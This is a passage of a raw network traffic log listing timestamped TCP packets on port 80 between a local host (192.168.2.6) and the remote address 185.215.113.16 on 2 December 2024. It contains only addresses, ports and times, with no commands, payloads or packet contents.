Dec 2, 2024 07:38:09.448867083 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.448916912 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.449196100 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.449208021 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.449250937 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.450196981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.450526953 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.450738907 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.451174974 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.451186895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.451224089 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.451250076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.452279091 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.452972889 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.453031063 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.453231096 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.453829050 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.453881979 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.454422951 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.454433918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.454478979 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.455492973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.455657005 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.455702066 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.456507921 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.456518888 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.456572056 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.456609011 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.457528114 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.457986116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.458029985 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.458597898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.459208965 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.459259033 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.459640980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.459651947 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.459688902 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.459707022 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.460664988 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.460714102 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.461019039 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.461062908 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.575406075 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.575458050 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.575551987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.575937033 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.576293945 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.576344967 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.577020884 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.577435970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.577481985 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.578037977 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.578514099 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.600691080 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.601100922 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.601211071 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.601221085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.601226091 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.601277113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.602292061 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.602468014 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.602511883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.603343010 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.603387117 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.604022026 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.604372978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.604424953 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.605482101 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.605494022 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.605504036 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.605547905 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.606509924 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.607256889 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.607300997 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.607592106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.607631922 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.607923031 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.608611107 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.608655930 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.609682083 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.609694004 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.609714031 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.609739065 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.609761953 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.610738993 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.610848904 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.610889912 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.611835003 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.611849070 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.611891031 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.612838030 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.612849951 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.612886906 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.613930941 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.614518881 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.614521027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.615022898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.615034103 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.615067959 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.616036892 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.616904020 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.616955996 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.617063999 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.617075920 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.617116928 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.618139982 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.618407965 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.618449926 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.619164944 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.619278908 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.619323015 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.620270967 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.620281935 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.620311022 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.620337963 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.621321917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.621332884 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.621376038 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.622329950 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.622514963 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.622962952 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.623445034 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.623455048 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.623483896 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.623508930 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.624474049 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.625524044 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.625535011 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.625567913 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.625571966 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.626509905 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.626599073 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.626816034 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.626858950 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.627619982 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.628185987 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.628225088 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.628694057 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.628732920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.629456043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.629745007 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.629786968 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.629797935 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.629825115 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.629867077 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.630790949 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.631227970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.631273031 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.631906986 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.632924080 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.632936001 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.632972002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.632980108 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.632980108 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.634012938 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.634056091 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.634505987 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.635093927 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.635103941 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.635137081 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.635149956 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.636146069 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.636157990 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.636202097 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.637160063 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.637532949 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.637573957 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.638205051 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.638256073 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.638513088 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.639254093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.639265060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.639301062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.640353918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.640364885 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.640399933 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.641386986 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.641397953 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.641428947 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.641443968 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.642398119 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.642482996 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.642528057 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.642540932 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.643520117 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.644562960 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.644587994 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.644644022 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.644644022 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.644684076 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.645586014 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.645641088 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.645971060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.646527052 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.646668911 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.646776915 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.646842003 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.647732019 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.647742987 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.647788048 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.648763895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.648809910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.649594069 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.649854898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.649866104 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.649898052 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.649923086 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.650852919 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.650954008 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.651005030 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.651936054 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.652095079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.652141094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.767457962 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.767704010 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.767844915 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.768012047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.768186092 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.768244028 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.769095898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.769862890 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.769951105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.770082951 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.770538092 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.792781115 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.793040991 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.793188095 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.793236971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.793353081 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.793406963 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.794261932 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.794312000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.794394970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.794518948 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.795371056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.795416117 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.796047926 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.796092987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.796394110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.797477961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.797492981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.797506094 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.797547102 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.797547102 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.798496008 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.798666000 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.798717022 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.799552917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.799627066 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.800012112 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.800602913 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.800652981 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.800826073 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.801700115 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.801712036 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.801753044 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.801776886 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.802759886 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.802870035 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.802923918 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.803858995 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.804852009 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.804864883 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.804899931 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.804913998 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.804939032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.805903912 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.805957079 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.806435108 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.806523085 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.806974888 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.806987047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.807039976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.808039904 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.809058905 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.809125900 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.809134007 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.809146881 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.809173107 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.809201956 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.810158014 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.810209990 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.810425997 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.810478926 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.811228037 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.811239958 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.811286926 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.812253952 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.813306093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.813318968 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.813349962 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.813366890 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.813381910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.814435959 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.814486980 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.814623117 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.815448046 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.815493107 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.816540956 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.816553116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.816565037 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.816612005 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.816629887 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.817514896 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.817910910 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.817953110 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.818613052 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.818785906 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.818831921 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.819633961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.819672108 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.820192099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.820719004 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.820730925 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.820769072 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.821800947 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.821814060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.821856022 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.822798014 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.823254108 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.823295116 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.823885918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.823898077 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.823923111 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.823957920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.824949980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.824961901 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.825004101 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.826201916 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.826514006 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.827214956 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.827227116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.827239990 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.827269077 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.827297926 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.828111887 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.828464985 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.828519106 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.829176903 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.829190016 CET	80	49859	185.215.113.16	192.168.2.6
